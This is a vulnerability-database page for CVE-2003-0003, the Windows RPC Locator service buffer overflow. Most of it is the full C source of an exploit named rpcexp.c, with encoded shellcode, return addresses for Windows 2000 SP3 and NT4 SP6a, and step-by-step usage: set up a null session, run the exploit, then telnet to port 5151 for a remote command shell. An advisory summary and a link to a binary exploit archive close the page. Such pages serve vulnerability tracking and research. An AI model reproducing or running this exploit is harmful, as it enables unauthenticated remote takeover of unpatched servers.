CVE-2003-0003 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/**************************************************************************** rpcexp.c RPC LOCATOR Exploit Autor: Marcin Wolak mail: [email protected] Last update: 30 march 2003 ****************************************************************************/ /***************************************************************************** About Compilation: What You need to compile rpcexp.c ? 1. MS Platform SDK (August SDK is sufficient). 2. Compilator (f.e. MS Visual C++ 6.0). rpcns4.lib is needed for linking. *****************************************************************************/ /***************************************************************************** Usage (You want to exploit remote Windows 2000 system (w2khost) with running RPC Locator Service): 1. Set registry values in Your workstation as below: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\NameService\NetworkAddress = w2khost HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\NameService\ServerNetworkAddress = w2khost 2. Establish null session: net use \\w2khost\ipc$ ""/u: "" 3. Run Exploit: rpcexp.exe /os w2ksp3 If everything it's ok, rpcexp hangs in console window. You can go to second cmd console, run telnet (on port 5151) and get cmd on w2khost - just run on second console: telnet w2khost 5151 WARNNING ! With this shellcode You can get remote cmd only once. Second attempt will be rejected. WARNNING !! Currently only Windows 2000 Sp3 and Windows NT 4 Sp6a are exploitable with rpcexp. *****************************************************************************/ #define UNICODE #define RPC_UNICODE_SUPPORTED #define NT4SP6ABRD 0x42 #define W2KSP3BRD 0x142 #define NT4SP6AJMP 0x0147FBC4 #define W2KSP3JMP 0x0090F8F0 #define NT4SP6ALLA 0x77F137BD #define NT4SP6AGPA 0x77F13FB3 #include <stdio.h> #include <rpc.h> #include <rpcnsi.h> #define PURPOSE \ "RPC Locator exploit utility \n\ Autor: Marcin Wolak - march 2003 \n\ mail: [email protected] \n\n\ Tested on:\n\n\ Windows 2000 SP3 \n\ Windows NT 4.0 SP6a \n\n\ Only for educational purposes !!!.\n\n\ Usage:\n\ rpcexp.exe /v - to view rpcexp info.\n\ rpcexp.exe /os w2ksp3 - to exploit Windows 2000 Sp3.\n\ rpcexp.exe /os ntsp6a - to exploit Windows NT 4 Sp6a.\n" char shellcode [] = "\xEB\x13\x5F\xB9\xCF\x02\xCF\x02\xC1\xE9\x10\x57\x80\x37\x99\x47\xE2\xFA\x5F\xEB" "\x05\xE8\xE8\xFF\xFF\xFF\x14\x2E\x42\x98\x99\x99\x14\x06\x59\x9B\x99\x99\xCF\x66" "\x8A\xCE\x14\x06\x5D\x9B\x99\x99\x14\x26\x54\x9B\x99\x99\x10\x5B\x65\xA8\x50\x28" "\x94\xD0\xA9\x59\x35\x1D\x59\xEC\x60\xCA\xCB\xC8\xCF\xCB\x66\x8A\x32\xC0\xC3\xC2" "\x7B\x75\xC2\xCA\x14\x02\x59\x9B\x99\x99\xA9\x59\x35\x1D\x59\xEC\x60\xCF\x66\x8A" "\x10\x5B\xC2\xCA\x14\x02\x5D\x9B\x99\x99\x65\xA8\x50\x28\x9E\xA9\x59\x35\x1D\x59" "\xEC\x60\xCA\xCB\xC8\xCF\xCB\x66\x8A\x32\xC0\xC3\xC2\x7B\x75\xA8\x59\x2D\x9D\xC9" "\x58\x71\x9D\xC9\x66\xCE\x55\x10\x5B\xC2\xCA\x14\x02\x25\x99\x99\x99\xA8\x50\x18" "\x58\xC4\x9B\x99\x99\xC9\x13\x8A\x11\x89\xDA\xD9\x7B\x61\xC1\x14\x02\x15\x99\x99" "\x99\xCA\xF1\x99\x99\x99\x99\xC9\xC9\xF1\x99\x99\x99\x99\xF1\x99\x99\x99\x99\x66" "\xCE\x21\xC9\xF1\x99\x89\x99\x99\x66\xCE\x41\xC1\x72\x6D\x70\x9E\x9B\x99\x99\xC6" "\xCE\x18\x5E\xD5\x99\x99\x99\x10\x67\x18\x5F\x16\x66\x66\x66\xC2\x18\x5A\x39\x99" "\x99\x99\xCA\xF1\x9B\x9B\x99\x99\x66\xCE\x7D\xA8\x59\xC9\xD9\xC9\xD9\xC9\x66\xCE" "\x71\x0A\xF1\x89\x99\x99\x99\xCF\xCA\x66\xCE\x75\xF1\x9B\x99\x99\x99\xCA\x66\xCE" "\x69\xA8\x59\xCE\xC9\x29\x95\x32\xC1\x32\xD9\x32\xC6\xD1\xC9\xCE\xCF\x34\xCF\x66" "\xCE\x25\xD1\xC9\xCE\x34\xCF\x34\xCF\x66\xCE\x25\xD1\x29\xDD\x10\x9E\xCE\x66\xCE" "\x59\xA8\x59\x12\xDF\x6D\x10\xDE\xA5\x10\xDE\xD9\x12\x9F\x10\xDE\xA1\xA8\x59\xFF" "\x21\x98\x98\x10\xDE\xB5\xCE\xCE\xA8\x59\xC9\xC9\xC9\xD9\xC9\xD1\xC9\xC9\x34\xCF" "\xA8\x59\xC9\x66\xCE\x5D\x66\xEF\x69\x66\xCE\x79\x66\xEF\x65\x66\xCE\x79\xD1\xC9" "\xC9\xCA\x66\xCE\x6D\x10\x5A\xA8\x59\x2D\x9D\xC9\x58\x71\x9D\xC9\x66\xCE\x55\x10" "\x5F\xA8\x59\x10\x58\x2C\x9D\xC9\xC9\xCE\xC8\xCF\x66\xEE\x0A\x66\xCE\x51\x18\xA6" "\x98\x99\x99\x99\xE5\xBC\xA8\x59\xC9\xCE\x66\xAE\xCF\x66\xEE\x0A\x66\xCE\x4D\x90" "\x59\xED\x8D\xA8\x59\xC9\x66\xAE\xCF\xCA\x66\xCE\x61\xF1\xC9\x99\x99\x99\x66\xCE" "\x41\x72\x5B\xA8\x59\xC9\x2D\x9D\xC9\xCF\xCA\x66\xCE\x65\xCE\xA8\x50\xC8\xC9\xCF" "\x66\xEE\x0E\x66\xCE\x49\xF1\xC9\x99\x99\x99\x66\xCE\x41\x72\x38\xC9\x66\xCE\x45" "\x09\xD2\xDC\xCB\xD7\xDC\xD5\xAA\xAB\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD" "\x99\xDA\xEB\xFC\xF8\xED\xFC\xCD\xF1\xEB\xFC\xF8\xFD\x99\xDA\xEB\xFC\xF8\xED\xFC" "\xC9\xF0\xE9\xFC\x99\xDE\xFC\xED\xCA\xED\xF8\xEB\xED\xEC\xE9\xD0\xF7\xFF\xF6\xD8" "\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xC9\xFC\xFC\xF2" "\xD7\xF8\xF4\xFC\xFD\xC9\xF0\xE9\xFC\x99\xDE\xF5\xF6\xFB\xF8\xF5\xD8\xF5\xF5\xF6" "\xFA\x99\xCE\xEB\xF0\xED\xFC\xDF\xF0\xF5\xFC\x99\xCB\xFC\xF8\xFD\xDF\xF0\xF5\xFC" "\x99\xCA\xF5\xFC\xFC\xE9\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xDA" "\xF5\xF6\xEA\xFC\xD1\xF8\xF7\xFD\xF5\xFC\x99\xCE\xCA\xD6\xDA\xD2\xAA\xAB\x99\xCE" "\xCA\xD8\xCA\xED\xF8\xEB\xED\xEC\xE9\x99\xEA\xF6\xFA\xF2\xFC\xED\x99\xFB\xF0\xF7" "\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99\xEA\xFC\xF7\xFD" "\x99\xEB\xFC\xFA\xEF\x99\x9B\x99\x8D\x86\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\xFA\xF4\xFD\xB7\xFC\xE1\xFC\x99\xFD\x06\x71\xEE\x81\x02\x71\xEE\x71\x6D" "\x64\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"; void Usage(char * pszProgramName) { fprintf(stderr, "%s", PURPOSE); exit(1); } void _CRTAPI1 main(int argc, char **argv) { unsigned short mytab[2000]; // Exploit Buffer unsigned char * TmpEntryName = NULL; // Temporary Entry. unsigned long * EntryName = NULL; unsigned long * TmpPtr = NULL; unsigned short * pszStrBinding = NULL; RPC_NS_HANDLE hnsHandle; unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT; RPC_STATUS status; short fSuccess = 0; short fContinue = 1; unsigned long i,k; unsigned long * PtrLLA = (unsigned long*) &shellcode[730]; unsigned long * PtrGPA = (unsigned long*) &shellcode[734]; unsigned long JMP = W2KSP3JMP; unsigned long BORDER = W2KSP3BRD; switch(argc){ case 2: if((strlen(argv[1]) == 2) && (!strcmp(argv[1],"/v"))) Usage(argv[0]); else printf("Bad arguments !!!\n"); exit(2); case 3: if((strlen(argv[1]) == 3) && (strlen(argv[2]) == 6) && (!strcmp(argv[1],"/os")) && (!strcmp(argv[2],"w2ksp3"))) break; if((strlen(argv[1]) == 3) && (strlen(argv[2]) == 6) && (!strcmp(argv[1],"/os")) && (!strcmp(argv[2],"ntsp6a"))) { (*PtrLLA) = NT4SP6ALLA ^ 0x99999999; (*PtrGPA) = NT4SP6AGPA ^ 0x99999999; JMP = NT4SP6AJMP; BORDER = NT4SP6ABRD; break; } default: Usage(argv[0]); } EntryName = (unsigned long *) mytab; TmpEntryName = (unsigned char *) mytab; TmpEntryName[0] = '/'; TmpEntryName[1] = 0; TmpEntryName[2] = '.'; TmpEntryName[3] = 0; TmpEntryName[4] = ':'; TmpEntryName[5] = 0; TmpEntryName[6] = '/'; TmpEntryName[7] = 0; for (i=2;i<768;i++) { if(i <= BORDER) EntryName[i] = JMP; if(i == BORDER) { TmpPtr = (unsigned long*) shellcode; for(k = 0;k < 190;k++) EntryName[i+k] = TmpPtr[k]; i += 189; } if(i > BORDER) EntryName[i] = JMP; } EntryName[768] = 0; RpcTryExcept { status = RpcNsBindingLookupBegin(NsSntxType, (unsigned short *) EntryName, 0, NULL, 0, &hnsHandle); printf("RpcNsBindingLookupBegin returned 0x%x\n", status); } RpcExcept(1){ printf("RPC Runtime raised exception 0x%x\n", RpcExceptionCode()); } RpcEndExcept } /*End of Main*/ // milw0rm.com [2003-04-03]

source: https://www.securityfocus.com/bid/6666/info It has been reported that the Microsoft Windows Locator service is affected by a remotely exploitable buffer overflow vulnerability. The condition is due to a memory copy of RPC arguments received from remote clients into a local buffer. This vulnerability may be exploited by remote attackers to execute custom instructions on the target server. It is also possible to crash the service with a malicious request. It should be noted that, to exploit this vulnerability, no authentication is required. Additionally, the Locator service is enabled by default on all Windows 2000 and Windows NT Domain Controllers (DC). https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22194.zip